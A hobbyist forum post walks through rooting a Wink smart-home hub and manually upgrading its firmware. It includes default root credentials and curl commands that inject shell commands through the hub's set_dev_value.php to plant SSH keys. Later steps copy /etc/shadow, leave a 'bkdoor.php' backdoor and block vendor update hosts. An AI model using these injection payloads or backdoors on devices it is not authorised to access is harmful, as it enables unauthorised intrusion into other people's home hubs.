[Off-topic] impressiver:
quickstart

I finished rooting a second hub I picked up at Home Depot this weekend (I needed a few LED lights anyway, and for $20, why not?). It gave me an opportunity to use the notes I scribbled down the first time around on a box-fresh hub. With a few little adjustments it all went rather swimmingly. Now I know the results are repeatable, so I'm posting in hopes that it might help others get ramped up a little faster.

These are not comprehensive instructions, think of them as the "cliff notes" of Huckleberry Finn. None of it is new information, it's just a distillation of all the various posts you'll find scattered around this thread and the broader internets.

[Wink Hub Hacking](http://www.dinnovative.com/?p=348)
[Root login](http://xdaforums.com/showpost.php?p=58002647&postcount=84)

# Default Wink hub root logins
Older: root:keep app
Newer: root:<NO_PASS>

# Getting root (out of the box)

Note on the response values:
- Success: `ret_code=0`
- Error: `ret_code=1 # Or anything else that isn't 0`

## Try this method first
// On your computer
$ curl "http://192.168.0.1/set_dev_value.php" -d 'nodeId=a&attrId=;dropbearkey -t rsa -f /root/.ssh/winkkey.dbprv.rsa > /root/.ssh/winkkey.rawpub.rsa;'
$ curl "http://192.168.0.1/set_dev_value.php" -d 'nodeId=a&attrId=;dropbearconvert dropbear openssh /root/.ssh/winkkey.dbprv.rsa /var/www/winkkey.rsa;'
$ curl "http://192.168.0.1/set_dev_value.php" -d 'nodeId=a&attrId=;grep ssh /root/.ssh/winkkey.rawpub.rsa > /root/.ssh/authorized_keys;'
$ wget "http://192.168.0.1/winkkey.rsa"
$ chmod go-rw winkkey.rsa
// Connect to hub
$ ssh -i winkkey.rsa root@192.168.0.1
// Now change the root password
$ passwd # DON'T LOSE IT!!

## Alternate method
[Rooting out of the box](http://rootwink.com/viewtopic.php?f=8&t=8#p9)

If you're lucky, the first method will work (it worked for me with the first hub). But if you get an 'invalid login' error trying to ssh in, try this method.
It uses a "sanitized" key that avoids encoding issues w/ chars like '+'.
Oddly, them plusses were no issue for me the first time, but it's no matter; this alternate method produces the same results

// On your computer
$ curl "http://192.168.0.1/set_dev_value.php" -d "nodeId=a&attrId=;touch /database/ENABLE_SSH;"
$ curl "http://192.168.0.1/set_dev_value.php" -d "nodeId=a&attrId=;/etc/init.d/S50dropbear start;"
$ curl "http://192.168.0.1/set_dev_value.php" -d 'nodeId=a&attrId=;nodeId=a&attrId=;echo ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA2nCGCGeaPSWseFqi/ctWeamK56qlBmIcr0L9K0ZaAq43BHfITtLL7mteZMJYSn8PX3JMKNFJiCvvSW8gla2s4aBqb9F1EjazDKJnWKyzzdgEeUqr0T7t2pltvxxoZ/z/wEVMB5AKD9TjjTXRSoEBF7AJ/OfhjKHQiO5TLWPlUtk= rsa_1024_no-plus >> /root/.ssh/authorized_keys;'
// Connect to hub
$ ssh -i rsa_1024_no-plus root@192.168.0.1
// Now generate your own keys
$ rm /root/.ssh/winkkey.dbprv.rsa
$ rm /root/.ssh/winkkey.rawpub.rsa
$ rm /var/www/winkkey.rsa
$ dropbearkey -t rsa -f /root/.ssh/winkkey.dbprv.rsa > /root/.ssh/winkkey.rawpub.rsa
$ dropbearconvert dropbear openssh /root/.ssh/winkkey.dbprv.rsa /var/www/winkkey.rsa
// Back on your computer
$ cd ~/.ssh
$ curl -o winkkey-2.rsa "http://192.168.0.1/winkkey.rsa"
$ chmod go-rw winkkey.rsa
$ $ ssh -i winkkey-2.rsa root@192.168.0.1

# Manual firmware updates (Wink hub upgrade)
[winkhubroot](https://winkhubroot.wordpress.com/2014/09/05/manually-updating-the-wink-hub/)

// On the hub
$ touch /database/ENABLE_SSH
$ cp /root/.ssh/authorized_keys /database/authorized_keys
$ sed -i 's/reboot/#reboot/g' /root/platform/*.sh
$ /root/platform/upgrade.sh # updates the upgrade partition

**!!! do not reboot until you've rooted the new update partition !!!**

## Prepare the updater
$ ubiattach -p /dev/mtd2
$ mkdir /tmp/updater
$ mount -t ubifs ubi2:rootfs /tmp/updater
$ touch /tmp/updater/database_default/ENABLE_SSH
$ cp /database/authorized_keys /tmp/updater/database_default/
$ cp -r /root/.ssh /tmp/updater/root/
$ cp /etc/shadow /tmp/updater/etc/
# sed -i 's/rm \/database\/wpa_supplicant.conf/echo "WPA fixed" #rm \/database\/wpa_supplicant.conf/' /tmp/updater/etc/init.d/S31platform
$ sed -i 's/#ttyAM0/ttyAM0/' /tmp/updater/etc/inittab
$ sed -i 's/reboot/#reboot/g' /tmp/updater/root/platform/*.sh
$ reboot

## Run the upgrade script
!! remove entry in ~/.ssh/known_hosts and reconnect
// Make sure the reboots are still commented out
$ cat /root/platform/*.sh | grep -i reboot
# sed -i 's/reboot/#reboot/g' /root/platform/*.sh
$ /root/platform/upgrade.sh # update the rootfs partition
// Wait for the upgrade process to complete (yellow blinkies, red blinkies, green blinkies)

## Prepare the new rootfs
$ ubiattach -p /dev/mtd5 # note 5(root), not 2(update)
$ mkdir /tmp/rootfs
$ mount -t ubifs ubi2:rootfs /tmp/rootfs # this is always 2
$ touch /tmp/rootfs/database_default/ENABLE_SSH
$ cp /database/authorized_keys /tmp/rootfs/database_default/
$ cp -r /root/.ssh /tmp/rootfs/root/
$ cp /etc/shadow /tmp/rootfs/etc/
$ sed -i 's/rm \/database\/wpa_supplicant.conf/echo "WPA fixed" #rm \/database\/wpa_supplicant.conf/' /tmp/rootfs/etc/init.d/S31platform
$ sed -i 's/#ttyAM0/ttyAM0/' /tmp/rootfs/etc/inittab
$ cp /var/www/set_dev_value.php /tmp/rootfs/var/www/set_dev_value.php
$ chmod ugo+rx /tmp/rootfs/var/www/set_dev_value.php
// Make sure the extra back door is still there
$ cp /tmp/rootfs/var/www/set_dev_value.php /tmp/rootfs/var/www/bkdoor.php
$ reboot

## Watch the light show
// Wait for upgrade to complete (white solid, red blinkies, yellow blinkies, yellow slow blinkies, yellow solid, blue solid)
!! remove entry in ~/.ssh/known_hosts (again) and reconnect

# Extra credit

## Make a copy of the back door to prevent update lockouts
$ cp /var/www/set_dev_value.php /var/www/bkdoor.php

# Optional

## Manually connect the wink to wifi
$ curl "http://192.168.0.1/index.php" -d '{"ssid":"${WIFI_NETWORK}","pass":"${WIFI_PASSWORD}"}'

## Block requests that might trigger unexpected updates
$ echo "127.0.0.1 hub-api.winkapp.com hub-updates.winkapp.com wink-hub-images.s3.amazonaws.com" >> /etc/hosts

## Prevent modified wifi settings from getting clobbered at boot
$ sed -i -e 's/rm \/database\/wpa_supplicant\.conf/rm \/database\/wpa_supplicant\.conf\.psyc/g' /etc/init.d/S31platform

## Download interesting things to play with
// On your computer
$ mkdir winkhub && cd $_
$ mkdir var
$ scp -r -i winkkey.rsa root@${WINK_IP}:/var/www var
$ scp -r -i winkkey.rsa root@${WINK_IP}:/root .
$ scp -r -i winkkey.rsa root@${WINK_IP}:/etc .